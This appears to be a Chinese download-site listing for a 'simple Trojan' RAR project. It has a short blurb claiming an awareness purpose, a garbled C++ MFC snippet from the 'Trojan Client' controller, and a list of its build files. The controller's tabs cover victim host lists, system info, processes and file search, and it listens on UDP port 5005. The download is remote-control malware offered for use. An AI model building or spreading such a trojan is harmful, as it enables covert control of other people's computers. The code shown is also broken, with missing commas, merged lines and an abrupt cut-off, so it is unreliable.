• 大小: 6.08MB
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2023-09-24
  • 语言: 其他
  • 标签:

资源简介

随着网络的发展, 越来越多的人们开始依赖网络。他们在享受网络带来的方便和快乐的同时,也受到木马等病毒的侵害。因此,从木马的本质、组成、传播途径以及攻击步骤等几个方面,全面介绍木马,使计算机用户更深层次地认识和预防木马,保障自己的切身利益,防范木马带来的危害。 简单木马制作 基本思路:本木马由两部分组成,即服务端Server程序 和客户端Client程序,采用的是C/S 模式。 对目的主机的控制主要是通过客户端发出的命令后,服务器端响应后把结果返回给客户端,进而起到控制主机的目的。 在程序制作中,使用了计时器方法,当用户单击一个命令按钮时,便启动了一个以3秒为界限的超时时间,若超出3秒则提示用户接收信息超时,并关闭定义的计时器,若成功获取到想要的数据后,并在控件中以显示出,则也要对刚才定义的计时器关闭。

资源截图

代码片段和文件信息

// MyPropertySheet.cpp : implementation file
//

#include “stdafx.h“
#include “Trojan Client.h“
#include “MyPropertySheet.h“

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#include
/////////////////////////////////////////////////////////////////////////////
// CMyPropertySheet

IMPLEMENT_DYNAMIC(CMyPropertySheet CPropertySheet)

CMyPropertySheet::CMyPropertySheet(UINT nIDCaption CWnd* pParentWnd UINT iSelectPage)
:CPropertySheet(nIDCaption pParentWnd iSelectPage)
{
AddPage(&HostListDlg);
AddPage(&SystemInfoDlg);
AddPage(&MessageDlg);
AddPage(&ProcessDlg);
AddPage(&FilesFindDlg);
}

CMyPropertySheet::CMyPropertySheet(LPCTSTR pszCaption CWnd* pParentWnd UINT iSelectPage)
:CPropertySheet(pszCaption pParentWnd iSelectPage)
{
AddPage(&HostListDlg);
AddPage(&SystemInfoDlg);
AddPage(&MessageDlg);
AddPage(&ProcessDlg);
AddPage(&FilesFindDlg);
}

CMyPropertySheet::~CMyPropertySheet()
{
}


BEGIN_MESSAGE_MAP(CMyPropertySheet CPropertySheet)
//{{AFX_MSG_MAP(CMyPropertySheet)
ON_WM_CREATE()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CMyPropertySheet message handlers

int CMyPropertySheet::OnCreate(LPCREATESTRUCT lpCreateStruct) 
{
if (CPropertySheet::OnCreate(lpCreateStruct) == -1)
return -1;

// TODO: Add your specialized creation code here
::CreateThread(NULL0MyThreadProcTssNULL0NULL);
Sleep(1000);
CMenu*   pSysMenu=GetSystemMenu(FALSE);   
if   (pSysMenu   !=   NULL)   
{   
// ..   
pSysMenu->AppendMenu(MF_STRING   SC_MINIMIZE   “最小化“);   
Modifystyle(0 WS_MINIMIZEBOX);   
// ..   
}   
HICON   m_hIcon; 
m_hIcon   =   AfxGetApp()-> LoadIcon(IDI_ICON1); 
SetIcon(m_hIcon   TRUE); //   设置大图标 
SetIcon(m_hIcon   FALSE); //   设置小图标 


return 0;
}

DWORD WINAPI CMyPropertySheet::MyThreadProcTss(LPVOID lpParameter)
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 1 1 );

err = WSAStartup( wVersionRequested &wsaData );
if ( err != 0 )
{
return 0;
}

if ( LOBYTE( wsaData.wVersion ) != 1 ||//判断版本是否为1 1htonl( INADDR_ANY );
        HIBYTE( wsaData.wVersion ) != 1 )  
{
WSACleanup( );
return 0; 
}

SOCKET SocketServer = socket ( AF_INET  SOCK_DGRAM  0 );

SOCKADDR_IN AddressServer;
AddressServer.sin_addr.S_un.S_addr = htonl( INADDR_ANY );//inet_addr(“183.170.136.149“);
AddressServer.sin_family = AF_INET;
AddressServer.sin_port = htons( 5005 );

if(bind( SocketServer  (SOCKADDR*)&AddressServer  sizeof(SOCKADDR) )!=0)
{
return 0;
}

char recvBuf[100]; //用于存储接受的数据

SOCKADDR_IN AddressClient; //客户端的地址信息 
int len=sizeof(SOCKADDR);//SOCKADDR为结构体名
while(1)
{   
recvfrom( SocketServer  recvBuf  100  0  (SOCKADDR*)&AddressClient  &len);
theHostIPRecvFromServer=recvBuf;
// CPropHostList dlg;

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件       5036  2011-04-04 22:14  Trojan Client\Debug\APPMODUL.obj

     文件          0  2011-04-04 22:15  Trojan Client\Debug\APPMODUL.sbr

     文件      25233  2011-04-08 18:23  Trojan Client\Debug\MyPropertySheet.obj

     文件          0  2011-04-08 18:23  Trojan Client\Debug\MyPropertySheet.sbr

     文件      13265  2011-04-05 10:00  Trojan Client\Debug\MySocket.obj

     文件          0  2011-04-05 10:00  Trojan Client\Debug\MySocket.sbr

     文件      28967  2011-04-08 12:15  Trojan Client\Debug\PropFilesFindDlg.obj

     文件          0  2011-04-08 12:15  Trojan Client\Debug\PropFilesFindDlg.sbr

     文件      34659  2011-04-13 13:27  Trojan Client\Debug\PropHostList.obj

     文件          0  2011-04-13 13:27  Trojan Client\Debug\PropHostList.sbr

     文件      26063  2011-04-08 10:36  Trojan Client\Debug\PropMessageDlg.obj

     文件          0  2011-04-08 10:36  Trojan Client\Debug\PropMessageDlg.sbr

     文件      40303  2011-04-09 20:32  Trojan Client\Debug\PropProcessDlg.obj

     文件          0  2011-04-09 20:32  Trojan Client\Debug\PropProcessDlg.sbr

     文件      45985  2011-04-09 20:54  Trojan Client\Debug\PropSystemInfoDlg.obj

     文件          0  2011-04-09 20:54  Trojan Client\Debug\PropSystemInfoDlg.sbr

     文件     105495  2011-04-04 12:00  Trojan Client\Debug\StdAfx.obj

     文件    1372058  2011-04-04 12:00  Trojan Client\Debug\StdAfx.sbr

     文件    5710848  2011-04-13 13:27  Trojan Client\Debug\Trojan Client.bsc

     文件      46624  1998-06-17 00:00  Trojan Client\Debug\Trojan Client.HLP

     文件     326252  2011-06-12 21:02  Trojan Client\Debug\Trojan Client.ilk

     文件      17102  2011-04-08 18:15  Trojan Client\Debug\Trojan Client.obj

     文件    6936712  2011-04-04 12:00  Trojan Client\Debug\Trojan Client.pch

     文件     549888  2011-06-12 21:02  Trojan Client\Debug\Trojan Client.pdb

     文件       6432  2011-04-08 18:22  Trojan Client\Debug\Trojan Client.res

     文件          0  2011-04-08 18:15  Trojan Client\Debug\Trojan Client.sbr

     文件      23475  2011-04-05 13:05  Trojan Client\Debug\Trojan ClientDlg.obj

     文件          0  2011-04-05 13:05  Trojan Client\Debug\Trojan ClientDlg.sbr

     文件     312320  2011-06-12 21:06  Trojan Client\Debug\vc60.idb

     文件     389120  2011-04-13 13:27  Trojan Client\Debug\vc60.pdb

............此处省略76个文件信息

评论

共有 条评论

相关资源